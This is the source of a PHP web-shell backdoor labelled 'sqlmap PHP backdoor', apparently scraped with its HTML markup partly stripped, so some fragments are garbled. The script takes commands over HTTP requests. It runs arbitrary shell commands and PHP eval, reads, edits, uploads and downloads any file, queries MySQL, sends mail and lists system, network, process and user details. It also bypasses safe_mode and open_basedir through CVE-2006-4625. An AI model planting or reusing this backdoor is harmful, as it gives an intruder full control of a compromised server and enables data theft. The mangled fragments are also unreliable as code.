sqlmap PHP backdoor

"; echo "

System information: here
"; echo "PHP info: here
"; echo "Send an email: here

"; echo "

Read a file

"; echo "

Edit a file

"; echo "

Download a file
Directory:
File:

"; echo "

Upload a file

to directory:

"; echo "

Browse a directory

"; echo "

Execute a shell command

"; echo "

Execute a PHP command

"; echo "

Execute a MySQL query
host:
user:
password:
query:

"; echo "

"; } if (isset($_REQUEST["sysinfo"])) { if (@strtolower(@substr(@PHP_OS, 0, 3)) == "win") { $win=1; } else { $win=0; } $safeMode=@ini_get("safe_mode"); $openBaseDir=@ini_get("open_basedir"); if ($safeMode || $openBaseDir) { /** * Exploit CVE: CVE-2006-4625 * Affected Software: PHP 5.1.6 / 4.4.4 < = x * Advisory URL: http://securityreason.com/achievement_securityalert/42 * Try to restore to default value */ ini_restore("safe_mode"); ini_restore("open_basedir"); } $magicQuotesGpc=@ini_get("magic_quotes_gpc"); $dir=@getcwd(); $total=@disk_total_space($dir); $free=@disk_free_space($dir); echo "Operating system

" . @PHP_OS;
    echo "

Server uname

" . php_uname();
    echo "

Server uptime

";
    echo  (!$win) ? ex("uptime") : ex("net statistics server");
    echo "

Server time

";
    echo date("D, M d, h:iA");
    echo "

Disk space

";
    echo "Total space: " . getSymbolByQuantity($total) . "
";
    echo "Free space: " . getSymbolByQuantity($free);
    echo "

Web server username

";
    echo (!$win) ? `id` . "
" : @get_current_user();
    echo "

PHP version

" . @phpversion();
    echo "

PHP safe_mode

";
    echo ($safeMode) ? "ON
" : "OFF
";
    echo "

PHP open_basedir

";
    echo ($openBaseDir) ? "ON
" : "OFF
";
    echo "

PHP magic_quotes_gpc

";
    echo ($magicQuotesGpc) ? "ON
" : "OFF
";
    echo "

CPU information

";
    echo ex("cat /proc/cpuinfo");
    echo "

Memory information

";
    echo ex("cat /proc/meminfo");
    echo "

Open ports and active connections

";
    echo (!$win) ? ex("netstat -nat") : ex("netstat -ano");
    echo "

Network devices

"; 
    echo (!$win) ? ex("/sbin/ifconfig -a") : ex("ipconfig /all");
    echo "

Processes

";
    echo (!$win) ? ex("ps auxfww") : ex("tasklist");
    echo "

"; echo ($win) ? "Network use

".ex("net use")."

Network share

".ex("net share")."

Network user

".ex("net user")."

" : ""; } else if(isset($_REQUEST["phpinfo"])) { echo @phpinfo(); } else if (isset($_REQUEST["readFile"])) { $file=$_REQUEST["readFile"]; $fileHandler=@fopen($file, "rb") or error("Unable to read file " . $file . ""); $fileContent=@file_get_contents($file); echo "

File: " . $file . "

"; echo "

" . @htmlspecialchars($fileContent) . "

"; } else if(isset($_REQUEST["editFile"])) { $file=$_REQUEST["editFile"]; if (!$file) { error("Specify the file to edit"); } $fileHandler=@fopen($file, "rb") or error("Unable to read file " . $file . ""); $fileContent=@file_get_contents($file); echo "

"; echo "File:

"; echo ""; echo $fileContent; echo "
"; } else if (isset($_REQUEST["saveFile"])) { $file=$_REQUEST["saveFile"]; $newContent=$_REQUEST["contentFile"]; if (@is_writable($file)) { $fileHandler=@fopen($file, "w+") or error("Unable to read file " . $file . ""); @fwrite($fileHandler, $newContent) or error("Unable to write on file " . $file . ""); echo "File " . $file . " successfully written"; @fclose($fileHandler); } else { error("File " . $file . " is not writable"); } } else if (isset($_REQUEST["download"])) { ob_clean(); $dir=$_REQUEST["dir"]; $file=$_REQUEST["download"]; $filename=$dir. "/" . $file; $fileHandler=@fopen($filename, "rb") or error("Unable to read file " . $file . ""); $fileContent=@file_get_contents($filename); header("Content-type: application/octet-stream"); header("Content-length: " . strlen($fileContent)); header("Content-disposition: attachment; filename=" . $file . ";"); echo $fileContent; exit; } else if (isset($_REQUEST["upload"])) { if (!isset($_REQUEST["uploadDir"])) { error("Specify directory name (ig: /tmp)"); } $dir=$_REQUEST["uploadDir"]; $file=$HTTP_POST_FILES["file"]["name"]; @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or error("File upload error"); @chmod($dir . "/" . $file, 0755) or error("Unable to set file permission on " . $file . ""); echo "

File " . $file . " successfully uploaded to " . $dir . "

"; } else if (isset($_REQUEST["listDir"])) { $dirToOpen=$_REQUEST["listDir"]; $dirHandler=@opendir($dirToOpen) or error("Unable to open directory"); echo "

Directory: " . $dirToOpen . "

"; echo ""; $list=array(); while ($o=@readdir($dirHandler)) { $list[]=$o; } @closedir($dirHandler); @sort($list); foreach ($list as $file) { if ($file == ".") { continue; } $linkToFile=$dirToOpen . "/" . $file; $isdir=@is_dir($linkToFile); $islink=@is_link($linkToFile); $isfile=@is_file($linkToFile); echo ""; if ($isdir) { echo ""; echo ""; $owner=@posix_getpwuid(@fileowner($linkToFile)); $group=@posix_getgrgid(@filegroup($linkToFile)); echo ""; if ($isdir) { echo ""; } else if ($islink) { echo ""; } else if ($isfile) { echo ""; } else { echo ""; } echo (@is_readable($linkToFile) && $isfile) ? "" : ""; echo (@is_writable($linkToFile) && $isfile) ? "" : ""; echo (@is_readable($linkToFile) && $isfile) ? "" : ""; echo ""; } } else if (isset($_REQUEST["mailForm"])) { echo ""; echo ""; echo "To:

"; echo "Subject:

"; echo "Body:

"; echo ""; } else if (isset($_REQUEST["mail"])) { $status=@mail($_REQUEST["to"], $_REQUEST["subject"], $_REQUEST["msg"]); echo $status ? "Mail sent" : "Failed to send mail"; @exit; } else if (isset($_REQUEST["cmd"])) { $cmd=$_REQUEST["cmd"]; echo "

Shell command: " . $cmd . "

"; echo "

" . ex($cmd) . "

"; } else if(isset($_REQUEST["phpcode"])) { $code=$_REQUEST["phpcode"]; echo "

PHP command: " . $code . "

"; echo "

";
    echo @eval("print_r($code);");
    echo "

"; } else if (isset($_REQUEST["query"])) { $host=$_REQUEST["host"]; $user=$_REQUEST["user"]; $password=$_REQUEST["password"]; $query=$_REQUEST["query"]; $link=@mysql_connect("$host", "$user", "$password"); if (!$link) { error(@mysql_error()); } $result=@mysql_query($query); if (!$result) { error(@mysql_error()); } echo "

MySQL query: " . $query . "

"; echo "

";
    while ($row=@mysql_fetch_array($result, MYSQL_ASSOC)) {
        @print_r($row);
    }
    echo "

"; @mysql_free_result($result); } if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) { echo ""; } ?>

Name	Permission	Owner/Group	Size	Read	Write	Download
"; } else if ($isfile) { echo "	"; } else { echo "	$linkToFile"; } echo "$linkToFile	" . @substr(@sprintf("%o", @fileperms($linkToFile)), -4) . "	" . $owner["name"] . "/" . $group["name"] . "	DIR	LINK	" . @sprintf("%u", @filesize($linkToFile)) . " bytes	Unknown	Read	-	Write	-	Download	-